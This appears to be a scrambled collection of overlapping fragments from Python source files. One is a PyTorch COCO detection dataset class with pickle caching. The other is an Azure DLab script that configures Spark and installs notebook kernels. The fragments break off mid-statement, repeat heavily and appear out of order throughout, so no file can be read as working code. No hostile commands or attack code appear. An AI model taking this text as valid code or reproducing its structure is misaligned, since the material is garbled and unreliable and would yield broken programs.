self._cat_ids = self._coco.getCatIds()", "def __init__(self, annotation_file: str, image_dir: str): self._annotation_file = annotation_file self._image_dir", "self._extract_data() with open(self._cache_file, \"wb\") as f: pickle.dump([self._detections, self._image_names], f) print(\"Cache", "zip(bboxes, categories)] def __getitem__(self, ind: int) -> Any: image_name =", "data = json.load(f) coco_ids = self._coco.getImgIds() eval_ids = { self._coco.loadImgs(coco_id)[0][\"file_name\"]:", "\"wb\") as f: pickle.dump([self._detections, self._image_names], f) print(\"Cache file created\") else:", "eval_ids def class_name(self, cid): cat_id = self._classes[cid] cat = self._coco.loadCats([cat_id])[0]", "bboxes = [] categories = [] for cat_id in self._cat_ids:", "[ self._coco.loadImgs(img_id)[0][\"file_name\"] for img_id in self._img_ids ] self._detections = {}", "for cat_id in self._cat_ids: annotation_ids = self._coco.getAnnIds(imgIds=image[\"id\"], catIds=cat_id) annotations =", "annotation in annotations: bbox = np.array(annotation[\"bbox\"]) bbox[[2, 3]] += bbox[[0,", "cid): cat_id = self._classes[cid] cat = self._coco.loadCats([cat_id])[0] return cat[\"name\"] def", "'category_id': category, 'category_name': self.class_name(category) } for bbox, category in zip(bboxes,", "self._detections[image_name] } def __len__(self) -> int: return len(self._img_ids) def get_num_classes(self)", "with open(self._cache_file, \"wb\") as f: pickle.dump([self._detections, self._image_names], f) print(\"Cache file", "self._cat_ids: annotation_ids = self._coco.getAnnIds(imgIds=image[\"id\"], catIds=cat_id) annotations = self._coco.loadAnns(annotation_ids) category =", "cat[\"name\"] def _extract_data(self): self._image_names = [ self._coco.loadImgs(img_id)[0][\"file_name\"] for img_id in", "for coco_id in coco_ids } self._coco_categories = data[\"categories\"] self._coco_eval_ids =", "categories = [] for cat_id in self._cat_ids: annotation_ids = self._coco.getAnnIds(imgIds=image[\"id\"],", "= image_dir self._cache_file = self._annotation_file + \".cache\" self._coco = COCO(self._annotation_file)", "= { value: key for key, value in self._classes.items() }", "image = self._coco.loadImgs(coco_image_id)[0] bboxes = [] categories = [] for", "self._detections[image_name] = [{ 'bbox': bbox.astype(np.float32), 'category_id': category, 'category_name': self.class_name(category) }", "__getitem__(self, ind: int) -> Any: image_name = self._image_names[ind] return {", "def __len__(self) -> int: return len(self._img_ids) def get_num_classes(self) -> int:", "key, value in self._classes.items() } self._load_data() self._db_inds = np.arange(len(self._image_names)) self._load_coco_data()", "= { self._coco.loadImgs(coco_id)[0][\"file_name\"]: coco_id for coco_id in coco_ids } self._coco_categories", "image_dir: str): self._annotation_file = annotation_file self._image_dir = image_dir self._cache_file =", "{ self._coco.loadImgs(coco_id)[0][\"file_name\"]: coco_id for coco_id in coco_ids } self._coco_categories =", "= self._coco.getAnnIds(imgIds=image[\"id\"], catIds=cat_id) annotations = self._coco.loadAnns(annotation_ids) category = self._coco_to_class_map[cat_id] for", "in self._classes.items() } self._load_data() self._db_inds = np.arange(len(self._image_names)) self._load_coco_data() def _load_data(self):", "{ 'image_name': os.path.join(self._image_dir, image_name), 'detections': self._detections[image_name] } def __len__(self) ->", "} def __len__(self) -> int: return len(self._img_ids) def get_num_classes(self) ->", "typing import Any from pycocotools.coco import COCO from torch.utils.data import", "class_name(self, cid): cat_id = self._classes[cid] cat = self._coco.loadCats([cat_id])[0] return cat[\"name\"]", "json import numpy as np import pickle from typing import", "= self._classes[cid] cat = self._coco.loadCats([cat_id])[0] return cat[\"name\"] def _extract_data(self): self._image_names", "pickle.dump([self._detections, self._image_names], f) print(\"Cache file created\") else: with open(self._cache_file, \"rb\")", "'image_name': os.path.join(self._image_dir, image_name), 'detections': self._detections[image_name] } def __len__(self) -> int:", "annotation_file: str, image_dir: str): self._annotation_file = annotation_file self._image_dir = image_dir", "self._coco.getCatIds() self._ann_ids = self._coco.getAnnIds() self._data = \"coco\" self._classes = {", "coco_ids = self._coco.getImgIds() eval_ids = { self._coco.loadImgs(coco_id)[0][\"file_name\"]: coco_id for coco_id", "np.array(annotation[\"bbox\"]) bbox[[2, 3]] += bbox[[0, 1]] bboxes.append(bbox) categories.append(category) self._detections[image_name] =", "\"coco\" self._classes = { ind: cat_id for ind, cat_id in", "key for key, value in self._classes.items() } self._load_data() self._db_inds =", "= self._coco.loadImgs(coco_image_id)[0] bboxes = [] categories = [] for cat_id", "np import pickle from typing import Any from pycocotools.coco import", "else: with open(self._cache_file, \"rb\") as f: self._detections, self._image_names = pickle.load(f)", "+ \".cache\" self._coco = COCO(self._annotation_file) self._img_ids = self._coco.getImgIds() self._cat_ids =", "os.path.exists(self._cache_file): print(\"No cache file found...\") self._extract_data() with open(self._cache_file, \"wb\") as", "self._coco.loadImgs(img_id)[0][\"file_name\"] for img_id in self._img_ids ] self._detections = {} for", "return cat[\"name\"] def _extract_data(self): self._image_names = [ self._coco.loadImgs(img_id)[0][\"file_name\"] for img_id", "self._coco.getImgIds() eval_ids = { self._coco.loadImgs(coco_id)[0][\"file_name\"]: coco_id for coco_id in coco_ids", "numpy as np import pickle from typing import Any from", "cat = self._coco.loadCats([cat_id])[0] return cat[\"name\"] def _extract_data(self): self._image_names = [", "enumerate(self._cat_ids) } self._coco_to_class_map = { value: key for key, value", "self._detections = {} for ind, (coco_image_id, image_name) in enumerate(zip(self._img_ids, self._image_names)):", "(coco_image_id, image_name) in enumerate(zip(self._img_ids, self._image_names)): image = self._coco.loadImgs(coco_image_id)[0] bboxes =", "for annotation in annotations: bbox = np.array(annotation[\"bbox\"]) bbox[[2, 3]] +=", "bbox = np.array(annotation[\"bbox\"]) bbox[[2, 3]] += bbox[[0, 1]] bboxes.append(bbox) categories.append(category)", "= self._image_names[ind] return { 'image_name': os.path.join(self._image_dir, image_name), 'detections': self._detections[image_name] }", "COCO from torch.utils.data import Dataset class DetectionMSCOCODataset(Dataset): def __init__(self, annotation_file:", "self._coco.loadAnns(annotation_ids) category = self._coco_to_class_map[cat_id] for annotation in annotations: bbox =", "{ value: key for key, value in self._classes.items() } self._load_data()", "} self._coco_categories = data[\"categories\"] self._coco_eval_ids = eval_ids def class_name(self, cid):", "import pickle from typing import Any from pycocotools.coco import COCO", "in enumerate(self._cat_ids) } self._coco_to_class_map = { value: key for key,", "bbox, category in zip(bboxes, categories)] def __getitem__(self, ind: int) ->", "import os import json import numpy as np import pickle", "self._load_data() self._db_inds = np.arange(len(self._image_names)) self._load_coco_data() def _load_data(self): print(\"loading from cache", "= self._coco.getImgIds() eval_ids = { self._coco.loadImgs(coco_id)[0][\"file_name\"]: coco_id for coco_id in", "= np.arange(len(self._image_names)) self._load_coco_data() def _load_data(self): print(\"loading from cache file: {}\".format(self._cache_file))", "_load_coco_data(self): with open(self._annotation_file, \"r\") as f: data = json.load(f) coco_ids", "f) print(\"Cache file created\") else: with open(self._cache_file, \"rb\") as f:", "= json.load(f) coco_ids = self._coco.getImgIds() eval_ids = { self._coco.loadImgs(coco_id)[0][\"file_name\"]: coco_id", "ind, (coco_image_id, image_name) in enumerate(zip(self._img_ids, self._image_names)): image = self._coco.loadImgs(coco_image_id)[0] bboxes", "= self._coco.getCatIds() self._ann_ids = self._coco.getAnnIds() self._data = \"coco\" self._classes =", "} self._load_data() self._db_inds = np.arange(len(self._image_names)) self._load_coco_data() def _load_data(self): print(\"loading from", "open(self._cache_file, \"wb\") as f: pickle.dump([self._detections, self._image_names], f) print(\"Cache file created\")", "for ind, cat_id in enumerate(self._cat_ids) } self._coco_to_class_map = { value:", "_extract_data(self): self._image_names = [ self._coco.loadImgs(img_id)[0][\"file_name\"] for img_id in self._img_ids ]", "= [ self._coco.loadImgs(img_id)[0][\"file_name\"] for img_id in self._img_ids ] self._detections =", "in self._img_ids ] self._detections = {} for ind, (coco_image_id, image_name)", "for img_id in self._img_ids ] self._detections = {} for ind,", "self._img_ids ] self._detections = {} for ind, (coco_image_id, image_name) in", "self._coco_to_class_map[cat_id] for annotation in annotations: bbox = np.array(annotation[\"bbox\"]) bbox[[2, 3]]", "from typing import Any from pycocotools.coco import COCO from torch.utils.data", "= pickle.load(f) def _load_coco_data(self): with open(self._annotation_file, \"r\") as f: data", "{} for ind, (coco_image_id, image_name) in enumerate(zip(self._img_ids, self._image_names)): image =", "from pycocotools.coco import COCO from torch.utils.data import Dataset class DetectionMSCOCODataset(Dataset):", "in annotations: bbox = np.array(annotation[\"bbox\"]) bbox[[2, 3]] += bbox[[0, 1]]", "self._img_ids = self._coco.getImgIds() self._cat_ids = self._coco.getCatIds() self._ann_ids = self._coco.getAnnIds() self._data", "return { 'image_name': os.path.join(self._image_dir, image_name), 'detections': self._detections[image_name] } def __len__(self)", "= \"coco\" self._classes = { ind: cat_id for ind, cat_id", "\"r\") as f: data = json.load(f) coco_ids = self._coco.getImgIds() eval_ids", "for key, value in self._classes.items() } self._load_data() self._db_inds = np.arange(len(self._image_names))", "coco_ids } self._coco_categories = data[\"categories\"] self._coco_eval_ids = eval_ids def class_name(self,", "self._image_names[ind] return { 'image_name': os.path.join(self._image_dir, image_name), 'detections': self._detections[image_name] } def", "= [] categories = [] for cat_id in self._cat_ids: annotation_ids", "self._db_inds = np.arange(len(self._image_names)) self._load_coco_data() def _load_data(self): print(\"loading from cache file:", "= data[\"categories\"] self._coco_eval_ids = eval_ids def class_name(self, cid): cat_id =", "class DetectionMSCOCODataset(Dataset): def __init__(self, annotation_file: str, image_dir: str): self._annotation_file =", "Any: image_name = self._image_names[ind] return { 'image_name': os.path.join(self._image_dir, image_name), 'detections':", "np.arange(len(self._image_names)) self._load_coco_data() def _load_data(self): print(\"loading from cache file: {}\".format(self._cache_file)) if", "'detections': self._detections[image_name] } def __len__(self) -> int: return len(self._img_ids) def", "= {} for ind, (coco_image_id, image_name) in enumerate(zip(self._img_ids, self._image_names)): image", "as f: data = json.load(f) coco_ids = self._coco.getImgIds() eval_ids =", "found...\") self._extract_data() with open(self._cache_file, \"wb\") as f: pickle.dump([self._detections, self._image_names], f)", "def _load_coco_data(self): with open(self._annotation_file, \"r\") as f: data = json.load(f)", "= np.array(annotation[\"bbox\"]) bbox[[2, 3]] += bbox[[0, 1]] bboxes.append(bbox) categories.append(category) self._detections[image_name]", "pickle from typing import Any from pycocotools.coco import COCO from", "self._ann_ids = self._coco.getAnnIds() self._data = \"coco\" self._classes = { ind:", "print(\"Cache file created\") else: with open(self._cache_file, \"rb\") as f: self._detections,", "image_name), 'detections': self._detections[image_name] } def __len__(self) -> int: return len(self._img_ids)", "1]] bboxes.append(bbox) categories.append(category) self._detections[image_name] = [{ 'bbox': bbox.astype(np.float32), 'category_id': category,", "__init__(self, annotation_file: str, image_dir: str): self._annotation_file = annotation_file self._image_dir =", "= self._coco.getImgIds() self._cat_ids = self._coco.getCatIds() self._ann_ids = self._coco.getAnnIds() self._data =", "self._coco.getImgIds() self._cat_ids = self._coco.getCatIds() self._ann_ids = self._coco.getAnnIds() self._data = \"coco\"", "bbox[[0, 1]] bboxes.append(bbox) categories.append(category) self._detections[image_name] = [{ 'bbox': bbox.astype(np.float32), 'category_id':", "COCO(self._annotation_file) self._img_ids = self._coco.getImgIds() self._cat_ids = self._coco.getCatIds() self._ann_ids = self._coco.getAnnIds()", "in coco_ids } self._coco_categories = data[\"categories\"] self._coco_eval_ids = eval_ids def", "os import json import numpy as np import pickle from", "} for bbox, category in zip(bboxes, categories)] def __getitem__(self, ind:", "import Any from pycocotools.coco import COCO from torch.utils.data import Dataset", "torch.utils.data import Dataset class DetectionMSCOCODataset(Dataset): def __init__(self, annotation_file: str, image_dir:", "print(\"No cache file found...\") self._extract_data() with open(self._cache_file, \"wb\") as f:", "ind: cat_id for ind, cat_id in enumerate(self._cat_ids) } self._coco_to_class_map =", "if not os.path.exists(self._cache_file): print(\"No cache file found...\") self._extract_data() with open(self._cache_file,", "json.load(f) coco_ids = self._coco.getImgIds() eval_ids = { self._coco.loadImgs(coco_id)[0][\"file_name\"]: coco_id for", "str, image_dir: str): self._annotation_file = annotation_file self._image_dir = image_dir self._cache_file", "self._image_names], f) print(\"Cache file created\") else: with open(self._cache_file, \"rb\") as", "open(self._annotation_file, \"r\") as f: data = json.load(f) coco_ids = self._coco.getImgIds()", "self._classes[cid] cat = self._coco.loadCats([cat_id])[0] return cat[\"name\"] def _extract_data(self): self._image_names =", "= self._coco.getAnnIds() self._data = \"coco\" self._classes = { ind: cat_id", "self._classes = { ind: cat_id for ind, cat_id in enumerate(self._cat_ids)", "import COCO from torch.utils.data import Dataset class DetectionMSCOCODataset(Dataset): def __init__(self,", "from cache file: {}\".format(self._cache_file)) if not os.path.exists(self._cache_file): print(\"No cache file", "ind: int) -> Any: image_name = self._image_names[ind] return { 'image_name':", "f: pickle.dump([self._detections, self._image_names], f) print(\"Cache file created\") else: with open(self._cache_file,", "self._coco.getAnnIds() self._data = \"coco\" self._classes = { ind: cat_id for", "categories)] def __getitem__(self, ind: int) -> Any: image_name = self._image_names[ind]", "file created\") else: with open(self._cache_file, \"rb\") as f: self._detections, self._image_names", "import Dataset class DetectionMSCOCODataset(Dataset): def __init__(self, annotation_file: str, image_dir: str):", "coco_id in coco_ids } self._coco_categories = data[\"categories\"] self._coco_eval_ids = eval_ids", "'category_name': self.class_name(category) } for bbox, category in zip(bboxes, categories)] def", "image_name) in enumerate(zip(self._img_ids, self._image_names)): image = self._coco.loadImgs(coco_image_id)[0] bboxes = []", "bbox.astype(np.float32), 'category_id': category, 'category_name': self.class_name(category) } for bbox, category in", "= annotation_file self._image_dir = image_dir self._cache_file = self._annotation_file + \".cache\"", "\"rb\") as f: self._detections, self._image_names = pickle.load(f) def _load_coco_data(self): with", "annotations = self._coco.loadAnns(annotation_ids) category = self._coco_to_class_map[cat_id] for annotation in annotations:" ]
[ "= map(int, raw_input().split()) coef = map(int, raw_input().split()) except: break print", "coef = map(int, raw_input().split()) except: break print fact[n] / reduce(operator.mul,", "open('input.txt') fact = [1, 1] for i in range(2, 15):", "True: try: n, k = map(int, raw_input().split()) coef = map(int,", "= map(int, raw_input().split()) except: break print fact[n] / reduce(operator.mul, [fact[c]", "sys.stdin = open('input.txt') fact = [1, 1] for i in", "* i) while True: try: n, k = map(int, raw_input().split())", "try: n, k = map(int, raw_input().split()) coef = map(int, raw_input().split())", "i in range(2, 15): fact.append(fact[-1] * i) while True: try:", "15): fact.append(fact[-1] * i) while True: try: n, k =", "map(int, raw_input().split()) except: break print fact[n] / reduce(operator.mul, [fact[c] for", "in range(2, 15): fact.append(fact[-1] * i) while True: try: n,", "i) while True: try: n, k = map(int, raw_input().split()) coef", "range(2, 15): fact.append(fact[-1] * i) while True: try: n, k", "import sys import operator sys.stdin = open('input.txt') fact = [1,", "fact = [1, 1] for i in range(2, 15): fact.append(fact[-1]", "n, k = map(int, raw_input().split()) coef = map(int, raw_input().split()) except:", "except: break print fact[n] / reduce(operator.mul, [fact[c] for c in", "1] for i in range(2, 15): fact.append(fact[-1] * i) while", "operator sys.stdin = open('input.txt') fact = [1, 1] for i", "= [1, 1] for i in range(2, 15): fact.append(fact[-1] *", "fact.append(fact[-1] * i) while True: try: n, k = map(int,", "import operator sys.stdin = open('input.txt') fact = [1, 1] for", "sys import operator sys.stdin = open('input.txt') fact = [1, 1]", "while True: try: n, k = map(int, raw_input().split()) coef =", "map(int, raw_input().split()) coef = map(int, raw_input().split()) except: break print fact[n]", "[1, 1] for i in range(2, 15): fact.append(fact[-1] * i)", "raw_input().split()) coef = map(int, raw_input().split()) except: break print fact[n] /", "= open('input.txt') fact = [1, 1] for i in range(2,", "raw_input().split()) except: break print fact[n] / reduce(operator.mul, [fact[c] for c", "break print fact[n] / reduce(operator.mul, [fact[c] for c in coef])", "for i in range(2, 15): fact.append(fact[-1] * i) while True:", "k = map(int, raw_input().split()) coef = map(int, raw_input().split()) except: break" ]
[ "User from django.db import models from django.urls import reverse #", "models.DateTimeField(auto_now_add=True) updated = models.DateTimeField(auto_now=True) class Meta: ordering = (\"-created\",) def", "import reverse # Create your models here. class Post(models.Model): title", "models here. class Post(models.Model): title = models.CharField(max_length=255) slug = models.SlugField(max_length=255,unique=True)", "import models from django.urls import reverse # Create your models", "from django.contrib.auth.models import User from django.db import models from django.urls", "models from django.urls import reverse # Create your models here.", "Create your models here. class Post(models.Model): title = models.CharField(max_length=255) slug", "= models.DateTimeField(auto_now_add=True) updated = models.DateTimeField(auto_now=True) class Meta: ordering = (\"-created\",)", "your models here. class Post(models.Model): title = models.CharField(max_length=255) slug =", "models.CharField(max_length=255) slug = models.SlugField(max_length=255,unique=True) #meusite.com/blog;introducao-ao-django author = models.ForeignKey(User, on_delete=models.CASCADE) body", "models.ForeignKey(User, on_delete=models.CASCADE) body = models.TextField() created = models.DateTimeField(auto_now_add=True) updated =", "django.db import models from django.urls import reverse # Create your", "(\"-created\",) def __str__(self): return self.title def get_absolute_url(self): return reverse(\"note:detail\", kwargs={\"slug\":", "author = models.ForeignKey(User, on_delete=models.CASCADE) body = models.TextField() created = models.DateTimeField(auto_now_add=True)", "= models.SlugField(max_length=255,unique=True) #meusite.com/blog;introducao-ao-django author = models.ForeignKey(User, on_delete=models.CASCADE) body = models.TextField()", "= (\"-created\",) def __str__(self): return self.title def get_absolute_url(self): return reverse(\"note:detail\",", "<gh_stars>1-10 from django.contrib.auth.models import User from django.db import models from", "here. class Post(models.Model): title = models.CharField(max_length=255) slug = models.SlugField(max_length=255,unique=True) #meusite.com/blog;introducao-ao-django", "models.SlugField(max_length=255,unique=True) #meusite.com/blog;introducao-ao-django author = models.ForeignKey(User, on_delete=models.CASCADE) body = models.TextField() created", "Post(models.Model): title = models.CharField(max_length=255) slug = models.SlugField(max_length=255,unique=True) #meusite.com/blog;introducao-ao-django author =", "models.DateTimeField(auto_now=True) class Meta: ordering = (\"-created\",) def __str__(self): return self.title", "= models.TextField() created = models.DateTimeField(auto_now_add=True) updated = models.DateTimeField(auto_now=True) class Meta:", "Meta: ordering = (\"-created\",) def __str__(self): return self.title def get_absolute_url(self):", "from django.urls import reverse # Create your models here. class", "= models.CharField(max_length=255) slug = models.SlugField(max_length=255,unique=True) #meusite.com/blog;introducao-ao-django author = models.ForeignKey(User, on_delete=models.CASCADE)", "slug = models.SlugField(max_length=255,unique=True) #meusite.com/blog;introducao-ao-django author = models.ForeignKey(User, on_delete=models.CASCADE) body =", "from django.db import models from django.urls import reverse # Create", "reverse # Create your models here. class Post(models.Model): title =", "on_delete=models.CASCADE) body = models.TextField() created = models.DateTimeField(auto_now_add=True) updated = models.DateTimeField(auto_now=True)", "body = models.TextField() created = models.DateTimeField(auto_now_add=True) updated = models.DateTimeField(auto_now=True) class", "def __str__(self): return self.title def get_absolute_url(self): return reverse(\"note:detail\", kwargs={\"slug\": self.slug})", "django.contrib.auth.models import User from django.db import models from django.urls import", "created = models.DateTimeField(auto_now_add=True) updated = models.DateTimeField(auto_now=True) class Meta: ordering =", "django.urls import reverse # Create your models here. class Post(models.Model):", "class Post(models.Model): title = models.CharField(max_length=255) slug = models.SlugField(max_length=255,unique=True) #meusite.com/blog;introducao-ao-django author", "class Meta: ordering = (\"-created\",) def __str__(self): return self.title def", "import User from django.db import models from django.urls import reverse", "= models.ForeignKey(User, on_delete=models.CASCADE) body = models.TextField() created = models.DateTimeField(auto_now_add=True) updated", "#meusite.com/blog;introducao-ao-django author = models.ForeignKey(User, on_delete=models.CASCADE) body = models.TextField() created =", "ordering = (\"-created\",) def __str__(self): return self.title def get_absolute_url(self): return", "updated = models.DateTimeField(auto_now=True) class Meta: ordering = (\"-created\",) def __str__(self):", "# Create your models here. class Post(models.Model): title = models.CharField(max_length=255)", "models.TextField() created = models.DateTimeField(auto_now_add=True) updated = models.DateTimeField(auto_now=True) class Meta: ordering", "= models.DateTimeField(auto_now=True) class Meta: ordering = (\"-created\",) def __str__(self): return", "title = models.CharField(max_length=255) slug = models.SlugField(max_length=255,unique=True) #meusite.com/blog;introducao-ao-django author = models.ForeignKey(User," ]
[ "os.environ['conf_key_dir'] + '/' + os.environ['conf_key_name'] + '.pem' notebook_config['dlab_ssh_user'] = os.environ['conf_os_user']", "= os.environ['conf_service_base_name'] notebook_config['resource_group_name'] = os.environ['azure_resource_group_name'] notebook_config['region'] = os.environ['azure_region'] notebook_config['user_name'] =", "OF ANY # KIND, either express or implied. See the", "notebook_config['exploratory_name'] + '-' + \\ notebook_config['computational_name'] notebook_config['master_node_name'] = notebook_config['cluster_name'] +", "+ '-' + \\ notebook_config['computational_name'] notebook_config['master_node_name'] = notebook_config['cluster_name'] + '-m'", "more contributor license agreements. See the NOTICE file # distributed", "notebook_config['instance_count'] = int(os.environ['dataengine_instance_count']) try: notebook_config['spark_master_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['master_node_name']) notebook_config['notebook_ip']", "CONFIGURATION FILES ON NOTEBOOK]') print('[UPDATING SPARK CONFIGURATION FILES ON NOTEBOOK]')", "generating variables dictionary print('Generating infrastructure names and tags') notebook_config =", "\"/\" + local_log_filename logging.basicConfig(format='%(levelname)-8s [%(asctime)s] %(message)s', level=logging.DEBUG, filename=local_log_filepath) try: #", "Apache Software Foundation (ASF) under one # or more contributor", "notebook_config['spark_master_ip']) try: local(\"~/scripts/{}_{}.py {}\".format(os.environ['application'], 'install_dataengine_kernels', params)) except: traceback.print_exc() raise Exception", "= os.environ['conf_key_dir'] + '/' + os.environ['conf_key_name'] + '.pem' notebook_config['dlab_ssh_user'] =", "WARRANTIES OR CONDITIONS OF ANY # KIND, either express or", "and limitations # under the License. # # ****************************************************************************** import", "{8}\".\\ format(notebook_config['cluster_name'], os.environ['notebook_spark_version'], os.environ['notebook_hadoop_version'], notebook_config['dlab_ssh_user'], notebook_config['spark_master_url'], notebook_config['key_path'], notebook_config['notebook_ip'], os.environ['azure_datalake_enable'], notebook_config['spark_master_ip'])", "os.environ['azure_resource_group_name'] notebook_config['region'] = os.environ['azure_region'] notebook_config['user_name'] = os.environ['edge_user_name'].replace('_', '-') notebook_config['project_name'] =", "2.0 (the # \"License\"); you may not use this file", "slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to generate infrastructure names\", str(err)) sys.exit(1)", "Exception except Exception as err: print('Error: {0}'.format(err)) for i in", "--keyfile {5} --notebook_ip {6} --datalake_enabled {7} --spark_master_ip {8}\".\\ format(notebook_config['cluster_name'], os.environ['notebook_spark_version'],", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "params)) except: traceback.print_exc() raise Exception except Exception as err: print('Error:", "specific language governing permissions and limitations # under the License.", "+ '-m' notebook_config['slave_node_name'] = notebook_config['cluster_name'] + '-s' notebook_config['notebook_name'] = os.environ['notebook_instance_name']", "under the License is distributed on an # \"AS IS\"", "\"Action\": \"Configure notebook server\"} print(json.dumps(res)) result.write(json.dumps(res)) except: print(\"Failed writing results.\")", "BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either", "# ***************************************************************************** # # Licensed to the Apache Software Foundation", "print('[UPDATING SPARK CONFIGURATION FILES ON NOTEBOOK]') params = \"--hostname {0}", "\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY #", "local(\"~/scripts/{}_{}.py {}\".format(os.environ['application'], 'install_dataengine_kernels', params)) except: traceback.print_exc() raise Exception except Exception", "params = \"--hostname {0} \" \\ \"--keyfile {1} \" \\", "distributed with this work for additional information # regarding copyright", "notebook_config['project_name'] = os.environ['project_name'].replace('_', '-') notebook_config['project_tag'] = os.environ['project_name'].replace('_', '-') notebook_config['endpoint_tag'] =", "{3} --spark_master {4}\" \\ \" --keyfile {5} --notebook_ip {6} --datalake_enabled", "= '' notebook_config['service_base_name'] = os.environ['conf_service_base_name'] notebook_config['resource_group_name'] = os.environ['azure_resource_group_name'] notebook_config['region'] =", "notebook_config['dlab_ssh_user'], notebook_config['cluster_name']) try: local(\"~/scripts/{0}.py {1}\".format('common_configure_spark', params)) except: traceback.print_exc() raise Exception", "for the # specific language governing permissions and limitations #", "local_log_filename logging.basicConfig(format='%(levelname)-8s [%(asctime)s] %(message)s', level=logging.DEBUG, filename=local_log_filepath) try: # generating variables", "See the License for the # specific language governing permissions", "to in writing, # software distributed under the License is", "{0} --spark_version {1} --hadoop_version {2} --os_user {3} --spark_master {4}\" \\", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "os.environ['project_name'], os.environ['request_id']) local_log_filepath = \"/logs/\" + os.environ['conf_resource'] + \"/\" +", "SPARK CONFIGURATION FILES ON NOTEBOOK]') print('[UPDATING SPARK CONFIGURATION FILES ON", "notebook_config['notebook_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['notebook_name']) except Exception as err: print('Error:", "NOTEBOOK]') print('[UPDATING SPARK CONFIGURATION FILES ON NOTEBOOK]') params = \"--hostname", "int(os.environ['dataengine_instance_count']) try: notebook_config['spark_master_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['master_node_name']) notebook_config['notebook_ip'] = AzureMeta().get_private_ip_address(", "= notebook_config['slave_node_name'] + '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to", "\\ notebook_config['computational_name'] notebook_config['master_node_name'] = notebook_config['cluster_name'] + '-m' notebook_config['slave_node_name'] = notebook_config['cluster_name']", "uuid if __name__ == \"__main__\": local_log_filename = \"{}_{}_{}.log\".format(os.environ['conf_resource'], os.environ['project_name'], os.environ['request_id'])", "file # distributed with this work for additional information #", "level=logging.DEBUG, filename=local_log_filepath) try: # generating variables dictionary print('Generating infrastructure names", "= AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['notebook_name']) except Exception as err: print('Error: {0}'.format(err))", "the License. # # ****************************************************************************** import logging import json import", "= \"/logs/\" + os.environ['conf_resource'] + \"/\" + local_log_filename logging.basicConfig(format='%(levelname)-8s [%(asctime)s]", "range(notebook_config['instance_count'] - 1): slave_name = notebook_config['slave_node_name'] + '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name)", "notebook_config['exploratory_name'] = os.environ['exploratory_name'].replace('_', '-') except: notebook_config['exploratory_name'] = '' try: notebook_config['computational_name']", "SPARK CONFIGURATION FILES ON NOTEBOOK]') params = \"--hostname {0} \"", "os.environ['azure_datalake_enable'], notebook_config['spark_master_ip']) try: local(\"~/scripts/{}_{}.py {}\".format(os.environ['application'], 'install_dataengine_kernels', params)) except: traceback.print_exc() raise", "'install_dataengine_kernels', params)) except: traceback.print_exc() raise Exception except Exception as err:", "implied. See the License for the # specific language governing", "+ notebook_config['exploratory_name'] + '-' + \\ notebook_config['computational_name'] notebook_config['master_node_name'] = notebook_config['cluster_name']", "to you under the Apache License, Version 2.0 (the #", "\" --keyfile {5} --notebook_ip {6} --datalake_enabled {7} --spark_master_ip {8}\".\\ format(notebook_config['cluster_name'],", "local_log_filepath = \"/logs/\" + os.environ['conf_resource'] + \"/\" + local_log_filename logging.basicConfig(format='%(levelname)-8s", "\" \\ \"--keyfile {1} \" \\ \"--os_user {2} \" \\", "try: # generating variables dictionary print('Generating infrastructure names and tags')", "except Exception as err: print('Error: {0}'.format(err)) sys.exit(1) notebook_config['spark_master_url'] = 'spark://{}:7077'.format(notebook_config['spark_master_ip'])", "may not use this file except in compliance # with", "AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to configure Spark.\", str(err)) sys.exit(1)", "+ \"/\" + local_log_filename logging.basicConfig(format='%(levelname)-8s [%(asctime)s] %(message)s', level=logging.DEBUG, filename=local_log_filepath) try:", "+ \\ '-de-' + notebook_config['exploratory_name'] + '-' + \\ notebook_config['computational_name']", "notebook_config = dict() try: notebook_config['exploratory_name'] = os.environ['exploratory_name'].replace('_', '-') except: notebook_config['exploratory_name']", "License, Version 2.0 (the # \"License\"); you may not use", "either express or implied. See the License for the #", "generate infrastructure names\", str(err)) sys.exit(1) try: logging.info('[INSTALLING KERNELS INTO SPECIFIED", "os.environ['conf_key_name'] + '.pem' notebook_config['dlab_ssh_user'] = os.environ['conf_os_user'] notebook_config['instance_count'] = int(os.environ['dataengine_instance_count']) try:", "import uuid if __name__ == \"__main__\": local_log_filename = \"{}_{}_{}.log\".format(os.environ['conf_resource'], os.environ['project_name'],", "additional information # regarding copyright ownership. The ASF licenses this", "err: print('Error: {0}'.format(err)) sys.exit(1) notebook_config['spark_master_url'] = 'spark://{}:7077'.format(notebook_config['spark_master_ip']) except Exception as", "notebook_config['spark_master_url'], notebook_config['key_path'], notebook_config['notebook_ip'], os.environ['azure_datalake_enable'], notebook_config['spark_master_ip']) try: local(\"~/scripts/{}_{}.py {}\".format(os.environ['application'], 'install_dataengine_kernels', params))", "os.environ['edge_user_name'].replace('_', '-') notebook_config['project_name'] = os.environ['project_name'].replace('_', '-') notebook_config['project_tag'] = os.environ['project_name'].replace('_', '-')", "dlab.fab import * from dlab.meta_lib import * from dlab.actions_lib import", "See the NOTICE file # distributed with this work for", "= os.environ['azure_region'] notebook_config['user_name'] = os.environ['edge_user_name'].replace('_', '-') notebook_config['project_name'] = os.environ['project_name'].replace('_', '-')", "os.environ['azure_region'] notebook_config['user_name'] = os.environ['edge_user_name'].replace('_', '-') notebook_config['project_name'] = os.environ['project_name'].replace('_', '-') notebook_config['project_tag']", "os.environ['conf_os_user'] notebook_config['instance_count'] = int(os.environ['dataengine_instance_count']) try: notebook_config['spark_master_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['master_node_name'])", "Apache License, Version 2.0 (the # \"License\"); you may not", "import logging import json import sys from dlab.fab import *", "names\", str(err)) sys.exit(1) try: 